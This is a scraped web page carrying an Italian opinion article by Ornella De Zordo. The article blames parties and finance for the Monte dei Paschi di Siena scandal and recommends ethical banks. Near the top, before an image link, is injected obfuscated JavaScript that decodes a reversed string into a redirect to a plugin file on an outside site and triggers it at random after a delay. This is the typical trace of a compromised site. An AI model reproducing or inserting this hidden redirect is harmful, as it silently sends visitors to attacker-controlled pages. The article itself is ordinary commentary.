Monte dei Paschi, De Zordo: "La politica complice con Pd, Pdl e centristi in prima linea"

image_pdfimage_print

$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://www.altracitta.org/wp-content/uploads/2013/01/PiazzaSalimbeni.jpg”>Cambiare le regole della finanza. Toscana punta di iceberg. Ecco le alternative per i nostri risparmi

di Ornella De Zordo

La vicenda del Monte dei Paschi di Siena è la concreta realizzazione delle tante analisi critiche che il movimento altermondialista ha pubblicato sulla finanza mondiale da una quindicina di anni a questa parte. Niente di nuovo, nessuna profezia, solo onestà intellettuale e capacità di approfondire la realtà. Perché non siamo davanti ad uno “Scandalo MPS” ma al normale funzionamento del nostro sistema finanziario, basato su speculazioni a breve, brevissimo tempo. Si nascondono le perdite, si truccano i bilanci, con i derivati e altri strumenti assurdi oltreché pericolosi. E’ solo così che i top manager e gli azionisti possono riuscire a fare profitti a due cifre: facendo sparire virtualmente i debiti delle loro operazioni speculative prima della pubblicazione dei bilanci semestrali. Fino al giorno in cui il gioco viene scoperto e il cerino resta loro in mano. Ma a quel punto i danni per la collettività sono enormi. A pagare lo Stato, i cittadini, i contribuenti: aumentano le tasse, vengono tagliati i servizi.
Nel contesto di questo ingordo e perverso gioco la politica non è stata a guardare, anzi, ne ha approfittato per fare cassa: per fare politica (a quanto pare non bastavano i milionari rimborsi elettorali), per arricchimenti personali, per oliare la macchina del consenso elettorale che vede un territorio, quello toscano, letteralmente abbagliato dalle perline e dagli specchietti donati da “Babbo Monte” per i progetti più fantasiosi, assurdi e clientelari. Basta sfogliare i giornali di questi giorni per leggere nomi e cognomi e capire quale è stato il ruolo della Fondazione Mps in tal senso. E tutto ciò accadeva mentre la Banca Mps teneva rigorosamente chiusi i rubinetti del credito verso le piccole e medie imprese oltreché per le famiglie.
I responsabili sono noti a tutti. Il “groviglio armonioso” costituito dall’intreccio di nomine che vede centrale il ruolo di Pd, Pdl, Udc e Montiani, i relativi e inevitabili conflitti di interesse, le speculazioni immobiliari, gli Enti Locali, l’Università, la Curia ha portato nel breve termine vantaggi a tutti. E’ per questo nessuno aveva la necessità, prima ancora che il bisogno, di affrontare la realtà per quella che era: un sistema finanziario perverso che produceva debiti per decine di miliardi da nascondere sotto il tappeto del falso in bilancio, guarda caso depenalizzato nel ventennio degli inciuci bipartisan che presto si rinnoverà grazie al nuovo Parlamento.

Il meccanismo cosmetico dei derivati usato a Siena è già stato usato in Grecia per abbellire i conti e restare in Europa ed è stato utilizzato anche dai tanti enti locali italiani guidati da amministratori improvvisati facenti parte di sedicenti “forze politiche di governo”, naturalmente “responsabili”. Cosa fare allora? Si pensa davvero che punire le cosiddette “mele marce” serva a qualcosa, soprattutto nel paese dove nessuna “mela marcia” dal colletto bianco viene punita?

Come dicevamo all’inizio è l’attuale sistema finanziario così come è concepito oggi che va cancellato. Le regole del gioco della finanza vanno radicalmente cambiate, ad iniziare dall’abolizione di certi strumenti come i derivati, passando all’introduzione di controlli seri e ravvicinati nel tempo, fino all’introduzione di una tassa sulle transazioni finanziarie che limiti gli attuali livelli speculativi e riporti ossigeno all’economia reale. Perché non scordiamocelo, i soldi servono a far vivere le persone, a creare posti di lavoro, a promuovere stili di vita sostenibili, non a premiare gli squali della speculazione, di qualsiasi banca, banda o colore politico essi siano.

Siamo pessimisti, viste che le forze politiche responsabili dell’attuale situazione sono le stesse che alleate avranno la maggioranza nel nuovo Parlamento. Pessimisti, ma non scemi. I soldi, nel nostro piccolo, iniziamo a spostarli verso esperienze di credito virtuoso, come possono essere qui a Firenze il Fondo etico delle Piagge [http://fondoetico.blogspot.it], la Mag appena nata [www.magfirenze.it] e Banca Etica [www.bancaetica.it]. Vi invitiamo a seguire la stessa strada.

Leave a Reply

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *